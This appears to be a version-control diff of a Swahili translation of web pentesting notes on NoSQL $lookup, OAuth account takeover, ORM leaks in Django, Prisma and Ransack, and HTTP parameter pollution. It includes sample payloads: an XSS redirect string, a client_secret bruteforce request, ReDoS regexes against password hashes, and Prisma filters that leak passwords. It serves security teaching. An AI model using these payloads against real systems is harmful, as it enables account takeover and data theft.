Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard.
**NOTE:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida zaidi za `find()` au `findOne()`.
**NOTE:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`.
```json
[
{

View File

@ -7,13 +7,13 @@
OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa idhini unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya idhini).
Fikiria tovuti ya kufikirika _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
Fikiria tovuti ya mfano _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**.
Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:
- **resource owner**: Wewe, kama **mtumiaji/kitengo**, unaruhusu ufikiaji wa rasilimali yako, kama vile machapisho ya akaunti yako ya mitandao ya kijamii.
- **resource server**: **seva inayosimamia maombi yaliyothibitishwa** baada ya programu kupata `access token` kwa niaba ya `resource owner`, e.g., **https://socialmedia.com**.
- **client application**: **programu inayotafuta idhini** kutoka kwa `resource owner`, kama vile **https://example.com**.
- **client application**: **programu inayotafuta idhini** kutoka kwa `resource owner`, kama **https://example.com**.
- **authorization server**: **seva inayotoa `access tokens`** kwa `client application` baada ya uthibitisho wa mafanikio wa `resource owner` na kupata idhini, e.g., **https://socialmedia.com**.
- **client_id**: Kitambulisho cha umma, cha kipekee kwa programu.
- **client_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya idhini, inayotumika kwa ajili ya kuzalisha `access_tokens`.
@ -59,15 +59,15 @@ Host: socialmedia.com
`redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile nambari za idhini, zinatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukuliwa kwa akaunti.
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji ya seva ya idhini. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token.
Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitisho wa seva. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa ajili ya wizi wa token.
Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinahatarishwa kwa mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva.
Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinaweza kuathiriwa na mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva.
Kwa wale wanaolenga seva ya OpenID, kiunganishi cha ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama vile `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini kiunganishi cha usajili na maelezo mengine ya usanidi ya seva.
Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama vile `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi wa seva.
### XSS katika utekelezaji wa kuelekeza <a href="#bda5" id="bda5"></a>
Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **hatarini kwa XSS**. Payload inay posible kujaribu:
Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **inaweza kuathiriwa na XSS**. Payload inayowezekana ya kujaribu:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
@ -75,11 +75,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
Katika utekelezaji wa OAuth, matumizi mabaya au kukosekana kwa **`state` parameter** kunaweza kuongeza hatari ya mashambulizi ya **Cross-Site Request Forgery (CSRF)** kwa kiasi kikubwa. Uthibitisho huu unatokea wakati **`state` parameter** haijatumiwa, imetumiwa kama thamani ya kudumu, au haijathibitishwa ipasavyo, ikiruhusu washambuliaji kupita ulinzi wa CSRF.
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitisho ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha uwezekano wa **uchukuaji wa akaunti**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **malengo ya uthibitishaji**.
Washambuliaji wanaweza kutumia hii kwa kukamata mchakato wa uthibitishaji ili kuunganisha akaunti yao na akaunti ya mwathirika, na kusababisha uwezekano wa **uchukuaji wa akaunti**. Hii ni muhimu hasa katika programu ambapo OAuth inatumika kwa **malengo ya uthibitishaji**.
Mifano halisi ya udhaifu huu imeandikwa katika changamoto mbalimbali za **CTF** na **majukwaa ya udukuzi**, ikionyesha athari zake za vitendo. Tatizo hili pia linapanuka kwa ushirikiano na huduma za upande wa tatu kama **Slack**, **Stripe**, na **PayPal**, ambapo washambuliaji wanaweza kuelekeza arifa au malipo kwa akaunti zao.
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha usalama wa mtiririko wa OAuth.
Usimamizi na uthibitisho sahihi wa **`state` parameter** ni muhimu kwa kulinda dhidi ya CSRF na kuhakikisha mchakato wa OAuth.
### Kabla ya Uchukuaji wa Akaunti <a href="#ebe4" id="ebe4"></a>
@ -92,9 +92,9 @@ Kutambua na kulinda vigezo vya siri vya OAuth ni muhimu. Ingawa **`client_id`**
Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia hali ya kuaminika ya programu.
### Bruteforce ya Siri ya Mteja
### Mshindo wa Siri ya Mteja
Unaweza kujaribu **bruteforce client_secret** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\
Unaweza kujaribu **kushinda siri ya mteja** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\
Ombi la BF linaweza kuonekana kama:
```
POST /token HTTP/1.1
@ -111,7 +111,7 @@ Mara tu mteja ana **code na state**, ikiwa inatolewa ndani ya **Referer header**
### Access Token Stored in Browser History
Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa huko**.
Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa humo**.
### Everlasting Authorization Code
@ -150,18 +150,18 @@ Kwa maelezo ya kina zaidi kuhusu jinsi ya kutumia AWS cognito angalia:
### Kutumia token za Apps nyingine <a href="#bda5" id="bda5"></a>
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hawakagui kwamba token inamhusisha na programu.
Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hawakagui kwamba token inamhusu app.
Hii ni kwa sababu **mshambuliaji** anaweza kuunda **programu inayounga mkono OAuth na kuingia na Facebook** (kwa mfano) katika programu yake mwenyewe. Kisha, mara tu mwathirika anapoingia na Facebook katika **programu ya mshambuliaji**, mshambuliaji anaweza kupata **token ya OAuth ya mtumiaji iliyotolewa kwa programu yake, na kuitumia kuingia katika programu ya OAuth ya mwathirika kwa kutumia token ya mtumiaji wa mwathirika**.
> [!CAUTION]
> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, ataweza kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikagui ikiwa token hiyo ilitolewa kwa ID ya programu yao.
> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, ataweza kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikagui ikiwa token ilitolewa kwa ID ya programu yao.
### Viungo viwili & cookie <a href="#bda5" id="bda5"></a>
Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingehifadhiwa katika **cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** ikiwa anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji.
Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingekuwa **imehifadhiwa katika cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** ikiwa anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji.
Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingekamilisha cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji.
Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingeiweka cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji.
### Kupita Mwingiliano wa Prompt <a href="#bda5" id="bda5"></a>
@ -182,37 +182,37 @@ Kulingana na [**andiko hili**](https://cybxis.medium.com/a-bypass-on-gitlabs-log
### ATO kwenye ukurasa wa wavuti unaoelekeza kulingana na uelekezaji wazi kwa referrer <a href="#bda5" id="bda5"></a>
Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inaelezea jinsi ilivyowezekana kutumia **upelelezi wazi** kwa thamani kutoka kwa **referrer** ili kutumia OAuth kwa ATO. Shambulio lilikuwa:
Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inaelezea jinsi ilivyowezekana kutumia **upelelezi wazi** kwa thamani kutoka kwa **referrer** kutumia OAuth kwa ATO. Shambulio lilikuwa:
1. Mwathirika anafikia ukurasa wa wavuti wa mshambuliaji
2. Mwathirika anafungua kiungo kibaya na opener inaanzisha mchakato wa Google OAuth na `response_type=id_token,code&prompt=none` kama vigezo vya ziada kwa kutumia kama **referrer tovuti ya mshambuliaji**.
3. Katika opener, baada ya mtoa huduma kumruhusu mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer.
3. Katika opener, baada ya mtoa huduma kumthibitisha mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer.
4. Tovuti ya mwathirika **inasababisha uelekezaji wazi kulingana na referrer** ikielekeza mtumiaji wa mwathirika kwenye tovuti ya mshambuliaji, kwani **`respose_type`** ilikuwa **`id_token,code`**, nambari itarudishwa kwa mshambuliaji katika **fragment** ya URL ikimruhusu kuchukua akaunti ya mtumiaji kupitia Google kwenye tovuti ya mwathirika.
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**Angalia utafiti huu**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Kwa maelezo zaidi ya mbinu hii.**
Usajili wa Wateja wa Kijivu katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
Usajili wa Wateja wa Kijadi katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya.
**Mambo Muhimu:**
- **Usajili wa Wateja wa Kijivu** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST.
- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **Usajili wa OpenID Connect 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF.
- Mchakato wa usajili unaweza kwa bahati mbaya kufichua seva kwa SSRF kwa njia kadhaa:
- **Usajili wa Wateja wa Kijadi** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST.
- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **OpenID Connect Registration 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF.
- Mchakato wa usajili unaweza bila kukusudia kufichua seva kwa SSRF kwa njia kadhaa:
- **`logo_uri`**: URL ya alama ya programu ya mteja ambayo inaweza kupatikana na seva, ikisababisha SSRF au kupelekea XSS ikiwa URL itashughulikiwa vibaya.
- **`jwks_uri`**: URL ya hati ya JWK ya mteja, ambayo ikiwa imeundwa kwa njia mbaya, inaweza kusababisha seva kufanya maombi ya nje kwa seva inayodhibitiwa na mshambuliaji.
- **`sector_identifier_uri`**: Inarejelea orodha ya JSON ya `redirect_uris`, ambayo seva inaweza kupakua, ikisababisha fursa ya SSRF.
- **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itachukua URIs hizi mwanzoni mwa mchakato wa uthibitishaji.
- **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itazipakua mwanzoni mwa mchakato wa uthibitishaji.
**Mkakati wa Kutumia:**
- SSRF inaweza kuchochewa kwa kujiandikisha mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
- SSRF inaweza kusababishwa kwa kujiandikisha mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`.
- Ingawa matumizi ya moja kwa moja kupitia `request_uris` yanaweza kupunguziliwa mbali na udhibiti wa orodha ya ruhusa, kutoa `request_uri` iliyosajiliwa awali, inayodhibitiwa na mshambuliaji kunaweza kuwezesha SSRF wakati wa hatua ya uthibitishaji.
## Masharti ya Mshindani wa OAuth
## Mipangilio ya Watoa huduma wa OAuth
Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Masharti ya Mshindani**](race-condition.md).
Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Mipangilio ya Mbio**](race-condition.md).
## Marejeleo

View File

@ -67,7 +67,7 @@ xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
## Vigezo vya kawaida vya kuingiza
## Vigezo vya kawaida vya sindano
```
/{payload}
?next={payload}

View File

@ -65,9 +65,9 @@ created_by__user__user_permissions__user__password
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> Kutumia uhusiano vibaya inawezekana kupita hata filters zilizokusudiwa kulinda data inayonyeshwa.
> Kutumia uhusiano kunawezekana kupita hata filters zilizokusudiwa kulinda data inayonyeshwa.
- **Error/Time based via ReDoS**: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa filtering ilifanya kazi au la ili kuitumia kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inafanywa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya makosa ya database kupata oracle mpya.
- **Error/Time based via ReDoS**: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa filtering ilifanya kazi au la ili kuitumia kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inafanywa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya kosa la database kupata oracle mpya.
```json
// Non matching password
{
@ -77,13 +77,13 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
- **SQLite**: Haina operator ya regexp kwa default (inahitaji kupakia nyongeza ya upande wa tatu)
- **PostgreSQL**: Haina muda wa kukatika kwa regex wa default na ina uwezekano mdogo wa kurudi nyuma
- **MariaDB**: Haina muda wa kukatika kwa regex
- **SQLite**: Haina opereta ya regexp kwa msingi (inahitaji kupakia nyongeza ya upande wa tatu)
- **PostgreSQL**: Haina muda wa kukatika wa regex wa msingi na ina uwezekano mdogo wa kurudi nyuma
- **MariaDB**: Haina muda wa kukatika wa regex
## Prisma ORM (NodeJS)
Ifuatayo ni [**hila zilizotolewa kutoka kwa chapisho hili**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
Ifuatayo ni [**hila zilizochukuliwa kutoka posti hii**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
- **Udhibiti kamili wa kutafuta**:
@ -104,7 +104,7 @@ res.json([]);
Inawezekana kuona kwamba mwili mzima wa javascript unapitishwa kwa prisma ili kufanya maswali.
Katika mfano kutoka kwa chapisho la asili, hii itakagua machapisho yote yaliyoundwa na mtu fulani (kila chapisho linaundwa na mtu fulani) ikirudisha pia taarifa za mtumiaji wa mtu huyo (jina la mtumiaji, nenosiri...)
Katika mfano kutoka kwa posti ya asili, hii itakagua machapisho yote yaliyoundwa na mtu fulani (kila chapisho linaundwa na mtu fulani) ikirudisha pia taarifa za mtumiaji wa mtu huyo (jina la mtumiaji, nenosiri...)
```json
{
"filter": {
@ -158,14 +158,14 @@ Ifuatayo inachagua machapisho yote yaliyoundwa na mtu mwenye nenosiri na itarudi
...
]
```
- **Udhibiti kamili wa wapi**:
- **Udhibiti kamili wa kipengele cha where**:
Hebu tuangalie hii ambapo shambulio linaweza kudhibiti `wapi`:
Tuchunguze hii ambapo shambulio linaweza kudhibiti kipengele cha `where`:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnerable to ORM Leaks
<strong> where: req.query.filter as any // Inahatarisha kwa ORM Leaks
</strong> })
res.json(posts);
} catch (error) {
@ -257,7 +257,7 @@ Inawezekana pia kuvuja watumiaji wote wanaotumia uhusiano wa mzunguko wa wengi k
}
}
```
- **Error/Timed queries**: Katika chapisho asilia unaweza kusoma seti kubwa sana ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja taarifa kwa kutumia mzigo wa muda. Hii ni:
- **Error/Timed queries**: Katika chapisho la awali unaweza kusoma seti kubwa ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja habari kwa kutumia mzigo wa muda. Hii ni:
```json
{
"OR": [
@ -275,7 +275,7 @@ Mahali ambapo `{CONTAINS_LIST}` ni orodha yenye nyuzi 1000 ili kuhakikisha **jib
Hizi mbinu zilipatikana katika [**post hii**](https://positive.security/blog/ransack-data-exfiltration)**.**
> [!TIP]
> **Kumbuka kwamba Ransack 4.0.0.0 sasa inasisitiza matumizi ya orodha wazi ya ruhusa kwa sifa na ushirikiano unaoweza kutafutwa.**
> **Kumbuka kwamba Ransack 4.0.0.0 sasa inasisitiza matumizi ya orodha ya ruhusa wazi kwa sifa na ushirikiano unaoweza kutafutwa.**
**Mfano unaoweza kuathirika:**
```ruby

View File

@ -15,7 +15,7 @@ URL ya muamala wa programu ya benki:
- **URL ya Asili:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Kwa kuingiza parameter ya ziada `from`:
Kwa kuingiza vigezo vya ziada `from`:
- **URL iliyobadilishwa:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
@ -31,15 +31,15 @@ Muamala unaweza kuchajiwa kwa makosa kwa `accountC` badala ya `accountA`, ikiony
**Kesi ya Ubadilishaji wa OTP:**
- **Muktadha:** Mfumo wa kuingia unahitaji Nywila ya Muda Mmoja (OTP) ulitumiwa vibaya.
- **Mbinu:** Kwa kukamata ombi la OTP kwa kutumia zana kama Burp Suite, washambuliaji waligundua parameter ya `email` katika ombi la HTTP.
- **Mbinu:** Kwa kukamata ombi la OTP kwa kutumia zana kama Burp Suite, washambuliaji waligundua vigezo vya `email` katika ombi la HTTP.
- **Matokeo:** OTP, iliyokusudiwa kwa barua pepe ya awali, ilitumwa badala yake kwa anwani ya pili ya barua pepe iliyotajwa katika ombi lililobadilishwa. Kasoro hii iliruhusu ufikiaji usioidhinishwa kwa kukwepa kipimo cha usalama kilichokusudiwa.
Hali hii inaonyesha makosa muhimu katika nyuma ya programu, ambayo ilishughulikia parameter ya kwanza ya `email` kwa ajili ya uzalishaji wa OTP lakini ilitumia ya mwisho kwa ajili ya usambazaji.
Hali hii inaonyesha makosa muhimu katika nyuma ya programu, ambayo ilishughulikia kigezo cha kwanza `email` kwa ajili ya uzalishaji wa OTP lakini ilitumia ya mwisho kwa ajili ya usambazaji.
**Kesi ya Ubadilishaji wa Funguo za API:**
- **Hali:** Programu inaruhusu watumiaji kubadilisha funguo zao za API kupitia ukurasa wa mipangilio ya wasifu.
- **Njia ya Shambulio:** Mshambuliaji anagundua kwamba kwa kuongeza parameter ya ziada `api_key` kwenye ombi la POST, wanaweza kubadilisha matokeo ya kazi ya kubadilisha funguo za API.
- **Njia ya Shambulio:** Mshambuliaji anagundua kwamba kwa kuongeza kigezo cha ziada `api_key` kwenye ombi la POST, wanaweza kubadilisha matokeo ya kazi ya kubadilisha funguo za API.
- **Mbinu:** Kwa kutumia zana kama Burp Suite, mshambuliaji anaunda ombi ambalo lina vigezo viwili vya `api_key`: kimoja halali na kingine kibaya. Seva, ikishughulikia tu matukio ya mwisho, inasasisha funguo za API kwa thamani iliyotolewa na mshambuliaji.
- **Matokeo:** Mshambuliaji anapata udhibiti juu ya utendaji wa API wa mwathirika, akipata au kubadilisha data binafsi bila idhini.
@ -47,12 +47,12 @@ Mfano huu unasisitiza zaidi umuhimu wa kushughulikia vigezo kwa usalama, hasa ka
### Uchambuzi wa Vigezo: Flask vs. PHP
Njia teknolojia za wavuti zinavyoshughulikia vigezo vya HTTP vilivyopigwa ni tofauti, ikikathiri uwezekano wao wa kushambuliwa na HPP:
Njia teknolojia za wavuti zinavyoshughulikia vigezo vya HTTP vilivyopigwa marufuku inatofautiana, ikikathiri uwezekano wao wa kushambuliwa na HPP:
- **Flask:** Inachukua thamani ya kwanza ya parameter iliyokutana, kama `a=1` katika mfuatano wa maswali `a=1&a=2`, ikipa kipaumbele mfano wa awali kuliko nakala zinazofuata.
- **PHP (kwenye Apache HTTP Server):** Kinyume chake, inapa kipaumbele thamani ya mwisho ya parameter, ikichagua `a=2` katika mfano uliopewa. Tabia hii inaweza kwa bahati mbaya kuwezesha HPP kwa kuheshimu parameter iliyobadilishwa na mshambuliaji badala ya asili.
- **Flask:** Inachukua thamani ya kigezo cha kwanza kilichokutana, kama vile `a=1` katika mfuatano wa maswali `a=1&a=2`, ikipa kipaumbele mfano wa awali kuliko nakala zinazofuata.
- **PHP (katika Apache HTTP Server):** Kinyume chake, inapa kipaumbele thamani ya mwisho ya kigezo, ikichagua `a=2` katika mfano uliopewa. Tabia hii inaweza kwa bahati mbaya kuruhusu HPP kutumika kwa kuheshimu kigezo kilichobadilishwa na mshambuliaji badala ya asili.
## Uharibifu wa vigezo kwa teknolojia
## Uchafuzi wa vigezo kwa teknolojia
Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
@ -60,10 +60,10 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Puuza chochote baada ya %00 katika jina la parameter.
1. Puuza chochote baada ya %00 katika jina la kigezo.
2. Shughulikia jina\[] kama array.
3. \_GET haina maana ya Njia ya GET.
4. Pendelea parameter ya mwisho.
4. Pendelea kigezo cha mwisho.
### Ruby 3.3.5 na WEBrick 1.8.2
@ -71,7 +71,7 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
1. Inatumia vichungi & na ; kugawanya vigezo.
2. Haitaeleweka jina\[].
3. Pendelea parameter ya kwanza.
3. Pendelea kigezo cha kwanza.
### Spring MVC 6.0.23 NA Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
@ -81,7 +81,7 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
2. POST RequestMapping & PostMapping Haitaeleweka jina\[].
3. Pendelea jina ikiwa jina NA jina\[] vinapatikana.
4. Unganisha vigezo e.g. first,last.
5. POST RequestMapping & PostMapping Haitaeleweka parameter ya mfuatano na Content-Type.
5. POST RequestMapping & PostMapping Haitaeleweka kigezo cha swali chenye Content-Type.
### **NodeJS** 20.17.0 **NA** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
@ -95,28 +95,28 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
2. Pendelea parameter ya kwanza.
2. Pendelea kigezo cha kwanza.
### Python 3.12.6 NA Werkzeug 3.0.4 NA Flask 3.0.3 <a href="#b853" id="b853"></a>
